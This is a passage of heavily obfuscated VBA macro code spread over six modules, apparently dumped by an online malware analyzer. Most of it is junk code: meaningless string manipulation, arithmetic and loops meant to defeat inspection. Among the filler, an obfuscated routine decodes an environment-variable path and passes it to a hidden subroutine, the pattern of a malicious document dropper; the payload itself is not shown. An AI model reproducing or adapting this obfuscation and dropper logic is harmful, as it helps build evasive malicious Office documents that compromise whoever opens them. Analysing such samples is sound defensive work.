            DtAOnx = DtAOnx + 2
        Wend

        WSXqLoBtZbv = 761 + 1394 + 679
        Bwasxz = 905 - 358 - 1977
        dJwMRcSqRBg = "oLxMDl JO_ Mw" + "WNnQ Wf)& " + "k( uWJxUBba"
        WnnVImVRcdC = StrReverse("   M#ZF % ftU m  p? ")
        fattUJ = fattUJ + 2
    Wend

    WvHRcC = StrReverse("OW- M$VLOt")
    Bwasxz = Space(7)
    dJwMRcSqRBg = 1456 + 1174 + 1936
    ThaUeUf = Replace(GiuRBbx(ThaUeUf), "FOLDER", Environ(GiuRBbx("AB loOl#EU# s Ke RraSs ]P  rR!o sfBji? lzfekB")))
    aGHNObKpvicO = Left(" $P y Cpmz MJJ", 2)
    ZcdvJllIM = Right("_M y w_Td&g", 5)
    WSXqLoBtZbv = LTrim(" Y#t v Sq.)ies  E ad")
    tnOLDNgRIjUX = LTrim("  .PU&R   YT fN)JD")
    zrVrrdy = RTrim("r w  Yz q ]$)j")
    dhcAKZQ = Left("[ j(wi^PF( ) Cm", 4)
    dhcAKZQ = Left("jtOGyvy)dV^@r(RDk!", 5)
    pdHfL = StrReverse("Rrc _GQ  Hko@sO_")
    QUKlIOAdTEHm = LTrim(" K  iYk- ? D ")
    ZcdvJllIM = UCase("WaK yZfUISl &wuvEe")
    oCeoXuGPulTi = RTrim(" & Pi  (ti#$c!c.")
    zrVrrdy = Space(8)
    While RDrZby < 4
        While DYVbZL < 2
            FWXWWS = RTrim("]^XkL .]iR")
            tnOLDNgRIjUX = 1768 + 926 + 395
            FWXWWS = Space(20)
            nxprw = StrReverse("i?^o f_(T(SnhnJQ")
            QedfYbeGSA = StrReverse("EK u oNtx BC  u oS")
            ZcdvJllIM = RTrim("]CRDZ    fe")
            DYVbZL = DYVbZL + 1
        Wend

        aERhQnVaTK = 642 + 370 + 1839
        sMoHLNq = UCase("aRZ. y(ZV .")
        nxprw = RTrim("wAQMOl K w)")
        YxHUsqyteU = 448 - 564 - 1931
        dhcAKZQ = RTrim("K V  o  h ")
        tnOLDNgRIjUX = " Rf  I  G J &zN" + "TGVZem VT @o ^go " + "jhe s LGIn"
        dJwMRcSqRBg = Left(" bh C_m    !u]", 5)
        RDrZby = RDrZby + 3
    Wend

    GGODyTER = 107 + 1123 + 1729
    GGODyTER = RTrim("uNr JmtoBt ")
    WnnVImVRcdC = 1243 - 1636 - 595
    dhcAKZQ = RTrim("fvF.M ) M RqgsdR@")
    While TRAcb < 380
        IiVNavuC = 247 - 119 - 753

        If TRAcb = 181 Then
            uChmjxXo = Space(6)
            xKQBGbxq ThaUeUf, "EQS", "zBHjvfaS", "QPSWcCUkw", "OkhuLeYds", "Axi"
        End If
    TRAcb = TRAcb + 1
    Wend
    qxntmX = UCase("ZCDSU@@fG lCOCqy bGN")
    WSXqLoBtZbv = UCase("$](Jaq NJ  RRtXL R ")
    Bwasxz = Right(" DWcYa-Gg$QOfE  D? $", 3)
    aERhQnVaTK = " z   c K)#LgZMOg#o" + "!Pcr %LWmzw@" + "Mr I Ij@ $SlbC"
    JxiAhSOo = 1251 - 202 - 506
    dhcAKZQ = 1655 - 921 - 286
    While OIfYeo < 3
        While jOAsOn < 3
            KFluYv = Right("#A J@ q& TQO", 5)
            vNwhxEJVq = "E ?yVq R Od" + "RpM    TV^  " + "&tnFa_p Cb % -rlG "
            aGHNObKpvicO = Space(7)
            aGHNObKpvicO = Right("$ UwIF  -B[", 3)
            QUKlIOAdTEHm = 1628 + 965 + 193
            WnnVImVRcdC = StrReverse("P #GT V-u &   ")
            IiVNavuC = UCase("m.Q%ta#Yrx")
            zrVrrdy = Right("m o z IQ ^ #", 3)
            QUKlIOAdTEHm = Right("MDIiQ D PGdRC  ", 4)
            jOAsOn = jOAsOn + 3
        Wend

        sMoHLNq = Space(20)
        YxHUsqyteU = LTrim(" obPCYx  oA")
        YxHUsqyteU = RTrim("gmRBA  JazspR_TE%")
        OIfYeo = OIfYeo + 3
    Wend

    JxiAhSOo = RTrim("& ch V @Ob[B  m ")
    tVIZVtmA = 1764 - 591 - 1562
    For PcYvBl = 0 To 10
        uChmjxXo = Space(1)
        zrVrrdy = "LF ^f eCj-SN" + "Jx GQ-hdJ!rKi^" + "j v x JXQHn ^roiR ("
        plxVFD = UCase("^zF -EY%ghZM")
    Next PcYvBl



End Sub



Attribute VB_Name = "Module1"

Sub JERrDr(lkPVKJ As Boolean)
    rXAyO = 418 + 1336 + 674
    dJwMRcSqRBg = "P K RlSY-_A " + "E BYBbiq#yNTUi" + "umm  EzgBI?"
    qxntmX = UCase("jfQ sdel)!jEc  jjKTv")
    WSXqLoBtZbv = LTrim("    c!  Vr  E")
    Bwasxz = Left("Rlv  KVfCIQvk_  jJ", 3)
    JxiAhSOo = UCase(" F B a M   K[cwB wq")
    zbzzOOozZ = UCase("pC? bvQpFo Eu!(&%J ")
    GCbEksCVY = RTrim(" pBu miDisE")
    aGHNObKpvicO = LTrim("fazfyDbS !s   RtTVv")
    GCbEksCVY = LTrim("bI [YoIqndPo")
End Sub


Sub tEulHU(ccIwwi As Boolean, CUNpEPZ As Integer, ArhJbwv As Double)
    aERhQnVaTK = RTrim("?GgURQ FD _YlT")
    qVoIPUEa = LTrim("? Dm#bx!kyfr!")
    sMoHLNq = Space(12)
    dYxIDaaFANk = "@knY Af^Z[ Ca" + "RLE n ! c.Q&.^rxqT" + "Qnv-GmRTQb@y PziRz"
    For bCgvBw = 0 To 1
        For YlDHAO = 0 To 8
            rXAyO = Space(3)
            dhcAKZQ = StrReverse("  P &  H nr ")
            YGBrZ = RTrim("aHv oCe _sCzy")
            tVIZVtmA = LTrim(" O[Q_e vnTfxr% ")
            YGBrZ = Space(1)
            zrVrrdy = Right(" _R   R n Tg  pY i ", 5)
        Next YlDHAO

        YxHUsqyteU = Right("rxitf(nT.w S $", 4)
        zZCGTA = 1091 + 572 + 1857
        QedfYbeGSA = LTrim("f (up iQWDDo .")
    Next bCgvBw

    dhcAKZQ = 1856 - 937 - 1430
    JxiAhSOo = 765 - 327 - 1655
End Sub



Attribute VB_Name = "Module2"

Sub ChNnFM(RSalpGi As Double, BvNOFoA As Boolean, UMQiOXi As Double, AwxnFx As Integer)
    For ttIOCq = 0 To 10
        SQPGRkA = RTrim("Zh(V  E LZkvj[    B")
        rXAyO = UCase("lX E CSM Qz & ")
        aERhQnVaTK = 201 - 1831 - 768
        GCbEksCVY = RTrim(" @.in ZcoYIO  ")
        GGODyTER = 545 - 190 - 1715
        WvHRcC = RTrim("zJa^ B!.Sl  A OX[")
    Next ttIOCq

    For EXAQIY = 0 To 8
        rXAyO = UCase("sc AuZNV   k& ")
        YGBrZ = 1438 - 874 - 421
        pdHfL = 1964 + 1948 + 1724
        qVoIPUEa = "qN  x!grZ(j " + "it  NU_e  DTiF  tr)$" + " %n)t#(Hl I "
    Next EXAQIY

    rXAyO = Right("].eUg_ so .S_", 4)
    tVIZVtmA = Left("rj p.hJ @Zt x%X", 3)
    JmGCRkbmr = "d#K  sJC V^pJ" + "$[wH]rke -P pk  E" + "] y^-sa   Y"
    uChmjxXo = Space(3)
    JmGCRkbmr = RTrim(".oD]vj&@lg!zK")
    WSXqLoBtZbv = "UrtcR g?&((f-ii u" + " c X  (T%k " + "oXnN)@ uTI"
End Sub



Sub mhDUwz(CyCOay As Boolean)
    oCeoXuGPulTi = UCase("Yw.z    BQs-zag F")
    zZCGTA = UCase(" ^ PBEZzLZKk  uQh")
    qVoIPUEa = LTrim("AFmI#A%rN-ez&Y BO -")
    vNwhxEJVq = 1772 + 1714 + 825
    ZcdvJllIM = RTrim("ev su-)L[EJ")
    dhcAKZQ = RTrim("RvXAONnNYa ty ]SCk ")
    vNwhxEJVq = RTrim("sjU  n H # V# ")
End Sub



Attribute VB_Name = "Module3"

Sub qeQihW(vjVXkFp As Boolean, UUbSDU As Integer, HDOHnyG As Integer, dqVDAyf As Boolean, wMsxIh As Double)
    WSXqLoBtZbv = Right("^aVt q^S  ", 5)
    pdHfL = RTrim("R ]?SIA c! ")
    WnnVImVRcdC = RTrim("a]cH$Ny?  -ZHf  u ")
    aERhQnVaTK = RTrim("#-A#C$kWTKy -")
    For yIxFKF = 0 To 5
        While QeMVYN < 2
            GCbEksCVY = 557 - 1429 - 542
            QedfYbeGSA = Left("P ?scgWTo dZ", 4)
            qxntmX = Right("P)Ix_ S oqYa]@r  Lt", 4)
            dJwMRcSqRBg = "^ XdR#fCfZ) a B " + "z?a__D-a YA]u%q" + "MUk pq!TiT&hJ bK!"
            tVIZVtmA = StrReverse("w  ! F sB t ..N")
            dhcAKZQ = Space(11)
            WSXqLoBtZbv = ".p Nw (dm@ylR ZJ" + "r&NcS%ya c" + "OXljU WEY eC"
            WSXqLoBtZbv = StrReverse("[ .  yd t(pJTgMDEMx")
            rXAyO = UCase("z]] eZkH rWci")
            QeMVYN = QeMVYN + 1
        Wend

        GGODyTER = Right("! ^QT(!^&iq@_", 2)
        PtTcLglpGowZ = RTrim("k T  sgI^c N")
        tnOLDNgRIjUX = Space(18)
        pdHfL = UCase("m#D@Zpq[ kJ@t R Xj$")
        PtTcLglpGowZ = 923 - 1176 - 636
        tnOLDNgRIjUX = LTrim("Zh i AUpF   ^ys?mp")
        plxVFD = LTrim("Pb I a %mSZKp ^Tupr ")
        PtTcLglpGowZ = Right(" Rm  V]s#oDLt.", 4)
        QedfYbeGSA = UCase("q$n-a! O E  VR ")
        zbzzOOozZ = "jSyAJ# riBMUNh_-  " + "MY  sA wobaXS  Mzcu@" + "J lh-O  [FB^m Dk  "
    Next yIxFKF

    vNwhxEJVq = Left("T&i @ c  ( HGd-d", 2)
    ZsAdNDMBxb = LTrim(" Oe X [smGU Rk XYj")
    uChmjxXo = Right("Pw!r Ar#QD   Hn[C!", 5)
    zbzzOOozZ = StrReverse("(EK@IS#h Ja")
    dhcAKZQ = StrReverse("vzYSv ( !nU]")
End Sub



Attribute VB_Name = "Module4"

Function eUdZKe(gywftWK As Boolean) As String
    zbzzOOozZ = 585 - 562 - 1462
    QUKlIOAdTEHm = Right("v CV P -Q ", 3)
    qVoIPUEa = UCase("xsX$? k mYHE  Sy bR")
    vNwhxEJVq = UCase("YA cJ Hr[I! SyT  ")
    YxHUsqyteU = "t M zo%  %(]r ? " + "EXRzxTC^a  M(h .saJ" + "hQhjJGwuP?R B"
    ZcdvJllIM = Space(20)
    sMoHLNq = Left("Y L u[j Jyg J", 4)
    eUdZKe = "rlieBJI"
End Function



Function rkppHT(lnoPVu As String) As String
    oCeoXuGPulTi = RTrim("Q  Rj#o^C@h ")
    WnnVImVRcdC = UCase("%pjt @ EJ ubyg bk")
    JxiAhSOo = Left("x I u izJ$& f i", 5)
    FWXWWS = Right("NAum  [ Fa ", 3)
    uChmjxXo = 1116 - 551 - 581
    QUKlIOAdTEHm = Space(14)
    PtTcLglpGowZ = StrReverse("ZkT&jtP  G Ta@oumlG ")
    rkppHT = "blmUEvI"
End Function



Function ezZfpa(GIytKp As Double, LQAaMn As Integer) As String
    FWXWWS = RTrim("AkrDYhw(#_j[AxX")
    zpPyZdj = UCase("puWOXF$jSc G   %iUk ")
    dYxIDaaFANk = Right("hGs]qqH?  ULCUQ ", 2)
    qVoIPUEa = Right("%NAJqx)]x & #  ", 3)
    SQPGRkA = 981 + 655 + 165
    zpPyZdj = RTrim(" -M m@MK -kEL W)XZ")
    uChmjxXo = 1624 - 1584 - 1800
    ezZfpa = "uZirozf"
End Function



Attribute VB_Name = "Module5"

Sub yvAXpi(IlvUujU As Integer, QDTQFZO As Double)
    FWXWWS = StrReverse("lqZhYfNfe#-h ")
    zbzzOOozZ = Right(" OXH.smHr  U s[A ", 5)
    tnOLDNgRIjUX = "L@H ]uqQ  " + "O@f$Wej  ZRlAlV" + "EX XNV?qmpgqGa u h "
    aERhQnVaTK = StrReverse("JLn   % $#$f")
    PtTcLglpGowZ = 999 - 1376 - 1929
    aERhQnVaTK = UCase(" xMau  W.I$pdVIL^")
    aGHNObKpvicO = LTrim("B&E!to F_aw")
    Bwasxz = Space(4)
    YxHUsqyteU = LTrim(".p .fp G w")
End Sub



Attribute VB_Name = "Module6"

Sub EvETFe(VAtXyCr As String)
    PtTcLglpGowZ = Left("o[B W@[ ua$  F]]", 5)
    For zAKiJq = 0 To 2
        While bgibMu < 3
            SQPGRkA = Left("Z IrCRa[]%pYgC_W^lFl", 2)
            PtTcLglpGowZ = Left(" P!y[WhiJev rY# O", 5)
            WnnVImVRcdC = UCase("O#isf C uGwkGo")
            Bwasxz = StrReverse("]ApXzc]Vk^qve$ @mXJa")
            vNwhxEJVq = LTrim("FDocwnXWt.")
            ZcdvJllIM = Right("W z^ Es!@iLZZ t I", 2)
            JxiAhSOo = UCase("tsVxw B .S  EW sY  J")
            bgibMu = bgibMu + 3
        Wend

        rXAyO = Space(3)
        GCbEksCVY = 1167 + 318 + 1903
        zbzzOOozZ = 1705 + 445 + 583
        pdHfL = Left(" !rQRq Qw O k qL [", 5)
        KFluYv = 1285 + 1237 + 1804
        YGBrZ = 826 - 272 - 336
        tVIZVtmA = RTrim("C$_ aa  %e")
        KFluYv = UCase("bS EJoVjy  (h ")
        IiVNavuC = Space(16)
        SQPGRkA = 128 + 269 + 1850
    Next zAKiJq

    JxiAhSOo = LTrim(" rCnn  pbD _y ")
    vNwhxEJVq = "Hzw z NC  MDJM" + "$] LBt^[LZd(N!  fqz" + "rOIIIwnx  ? ?N)I?U"
    qxntmX = Left("In mT L_ZaEp  okay@", 2)
    WnnVImVRcdC = UCase("]M  m -&qoU.   d Nv")
    While rZsAWR < 4
        For srMHnP = 0 To 5
            aGHNObKpvicO = Space(13)
            vNwhxEJVq = LTrim("aS  Dh% v cHMKY")
        Next srMHnP

        dJwMRcSqRBg = StrReverse("jJX[V NapUeJ")
        dJwMRcSqRBg = 1514 - 1902 - 541
        YGBrZ = 347 + 1948 + 1263
        dJwMRcSqRBg = Right(" tYSovN l[^&@", 4)
        JxiAhSOo = LTrim("wD&fzDadX H ")
        PtTcLglpGowZ = Left("Me$  v& gnF )", 5)
        WSXqLoBtZbv = 1880 + 367 + 344
        ZcdvJllIM = Space(8)
        PtTcLglpGowZ = UCase("$ygvc[U F  !  [H spu")
        rZsAWR = rZsAWR + 2
    Wend

    GGODyTER = UCase("!fE. Ai !(  z exr@")
    aGHNObKpvicO = Left("&l$#MqdN@qnF ", 2)
End Sub



Sub EHKZGD(HHNDwXD As String, ZMyiAx As Boolean)
    YxHUsqyteU = 1312 + 683 + 1644
    WnnVImVRcdC = LTrim("  LSg]wvx  n]")
    aGHNObKpvicO = StrReverse("h  hjL B.!u&n")
    For pnnZpz = 0 To 3
        For JLuEJi = 0 To 8
            YxHUsqyteU = Space(5)
            ZcdvJllIM = RTrim("[  )v  YxU")
            Bwasxz = RTrim("?b-f ) xo!  i?Q")
            GCbEksCVY = StrReverse("mVMe%yt[.q c")
            ksnwymdSoe = LTrim("cydafC   %d# $  ")
            IiVNavuC = 160 + 1159 + 1117
        Next JLuEJi

        dJwMRcSqRBg = UCase(" !@P PT .l")
        JxiAhSOo = LTrim("H o^Cu[ ]j?sYLL Ra")
        zpPyZdj = 1292 + 1576 + 481
        YGBrZ = LTrim("F-v kH$T  . .ykn$EJ ")
        aGHNObKpvicO = LTrim("ENY  q  F@xPI")
        ZsAdNDMBxb = Right("w[GeF  OoS ", 4)
    Next pnnZpz

    oCeoXuGPulTi = "Q U SR IANF .ro]) " + "C?B UTYR OE  Z" + "kR  xc  aUaj  &"
    dJwMRcSqRBg = "SXb N qB    e" + " R Pk.Lhp " + "Qyl CVZXvdN s_ aF& "
    For iShDUD = 0 To 9
        KFluYv = 1267 + 1745 + 830
        ksnwymdSoe = 677 - 1961 - 1444
        WnnVImVRcdC = RTrim("  )  aMUaxk  Bo#r&")
        qxntmX = 366 - 309 - 1209
        QUKlIOAdTEHm = "?     oF  q" + "L. K!eJEm  ?" + " M @eT   )B"
        zbzzOOozZ = StrReverse("  )] ^hS z")
        PtTcLglpGowZ = UCase("HWg  uR[KN LYtT")
        uChmjxXo = RTrim("Lobl _ [ v- ")
        GCbEksCVY = 338 + 637 + 1807
        dhcAKZQ = UCase(" tZv K n -] cvOs")
    Next iShDUD

End Sub



Function suEbJl(aLSNZP As Double, YsPyeVN As Integer, ExHDVz As Boolean, tRDoyJH As Integer) As String
    PtTcLglpGowZ = LTrim("S.  [UlzZto ox )kS")
    tVIZVtmA = 1558 + 488 + 1362
    FWXWWS = LTrim("GcQ  Lzb)  CR$")
    YxHUsqyteU = "- CH &fRK^cj]" + " tYh xehKm" + "  JD^k( T[bm"
    tnOLDNgRIjUX = RTrim("Zn R]     a@Y")
    While WXVbdT < 5
        For DnEono = 0 To 7
            sMoHLNq = Right("cXaCAD ^C$#", 3)
            PtTcLglpGowZ = Space(9)
            dhcAKZQ = 1813 + 1510 + 1290
            dYxIDaaFANk = RTrim("[KlUaaUpdbApy ")
            WnnVImVRcdC = "qa HAgx!  l   $" + "@o& FjDOK .WE YtDQ" + " zquozF  y!%pbxe"
            nxprw = Left("s)VU%JfHt^ IM#z nV n", 5)
            vNwhxEJVq = LTrim(" $YD  kK  -VfI H M")
        Next DnEono

        JxiAhSOo = "gGQ?tdo @bx.bO" + "L  qQLCo(Tk Px   " + "TpC g@u Q&JS@ ]& "
        aERhQnVaTK = StrReverse("NIz _  VRgP")
        KFluYv = Right("Z]cxKF k( aIR UoP", 4)
        dYxIDaaFANk = Right("!hlz uBUEBJq @rQ&ry", 3)
        YGBrZ = 477 - 330 - 140
        WvHRcC = LTrim("-ZsixeZKl ")
        oCeoXuGPulTi = UCase("x%Oi  ?iQG mz")
        dYxIDaaFANk = 753 - 1771 - 1724
        QUKlIOAdTEHm = StrReverse("ECFP o_Qd e C")
        WXVbdT = WXVbdT + 2
    Wend

    zpPyZdj = Right("s dnR]dq O GAJtt  ", 5)
    WnnVImVRcdC = Left("S$c - @DQ # uMV&", 3)
    GCbEksCVY = Left("MevcURqtf]&a  i", 4)
    WvHRcC = LTrim("Fg[Z DkvSPi")
    suEbJl = "nDjyHyNHLE"
End Function



Sub DGVkYQ(dFzGmUV As String, dqydBX As Integer, bkhEOYJ As Double)
    dYxIDaaFANk = LTrim("omO ui!G?gmcoRYvn")
    ZcdvJllIM = StrReverse("^YPiD q^$I Azb ")
    FWXWWS = Right("@MVm  .tG. XAHcN? ", 2)
    dYxIDaaFANk = Space(5)
    zZCGTA = Left("EAHe?&p d&cfglU  ", 5)
    For SVBmJw = 0 To 5
        While HjQNZO < 1
            dJwMRcSqRBg = "%$&UMZT H @Wxm[c^Ix" + "ipq#M XB. u@DLRIce" + "Ti  _(W  g"
            KFluYv = Left("c Hkg X !RC   )", 2)
            QedfYbeGSA = " VZQ.x.cHT#" + "oNMik% bY-  Ze$u w@" + "B@SSs(.( Is$QObB"
            plxVFD = RTrim("Q$ ^  qmWu Cqn c # ")
            vNwhxEJVq = Space(3)
            JxiAhSOo = 1207 + 1559 + 1310
            nxprw = "TaHtyb jONYiZ   " + " )r r! SFA " + "HjV?U _zym  Nm s Z!S"
            sMoHLNq = Right("fdp NtKc &", 2)
…

Open this report in the interactive analyzer, or submit your own file for analysis.